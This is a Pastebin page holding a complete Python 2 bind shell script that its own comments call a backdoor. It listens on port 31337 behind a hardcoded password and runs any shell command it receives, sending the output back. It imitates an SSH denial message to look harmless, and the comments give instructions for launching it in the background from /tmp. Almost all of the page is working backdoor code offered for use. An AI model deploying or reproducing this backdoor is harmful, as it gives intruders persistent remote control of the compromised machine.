Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- #
- # Python bind shell
- # Author : koboi137 ( Backbox Indonesia )
- #
- # How to use
- # $ chmod +x bind.py
- # $ echo $(/tmp/bind.py) &
- #
- # To kill this backdoor
- # user[/tmp] >> killme
- #
- import socket
- import pwd
- import os
- import thread
- import subprocess
- import sys
- PORT=31337
- PASS='password'
- def connection(conn):
- usr = pwd.getpwuid(os.getuid()).pw_name
- hst = socket.gethostname()
- conn.setblocking(1)
- conn.send("{}@{}'s password: ".format(usr, hst))
- passwd = conn.recv(1024)
- if passwd.strip('\r\n') == PASS:
- while True:
- usr = pwd.getpwuid(os.getuid()).pw_name
- pth = os.getcwd()
- conn.send('{}[{}] >> '.format(usr, pth))
- data = conn.recv(1024)
- if data.strip('\r\n') == 'quit' or data.strip('\r\n') == 'exit':
- conn.close()
- break
- elif data.strip('\r\n').startswith('killme'):
- os.system('kill -9 {}'.format(os.getpid()))
- elif data.strip('\r\n').startswith('cd'):
- try: os.chdir(data.strip('\r\n')[3:])
- except: conn.send('The system path cannot be found!\n')
- else:
- proc = subprocess.Popen(data.strip('\r\n'), shell=True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
- stdoutput = proc.stdout.read() + proc.stderr.read()
- conn.send(stdoutput)
- else:
- conn.send('Permission denied (publickey,password).\n')
- conn.close()
- while True:
- try:
- s = socket.socket()
- s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
- s.bind(('', PORT))
- s.listen(5)
- while True:
- s.settimeout(2)
- try: conn, addr = s.accept()
- except socket.timeout: continue
- if(conn):
- s.settimeout(None)
- thread.start_new_thread(connection, (conn,))
- except: pass
Advertisement
Add Comment
Please, Sign In to add comment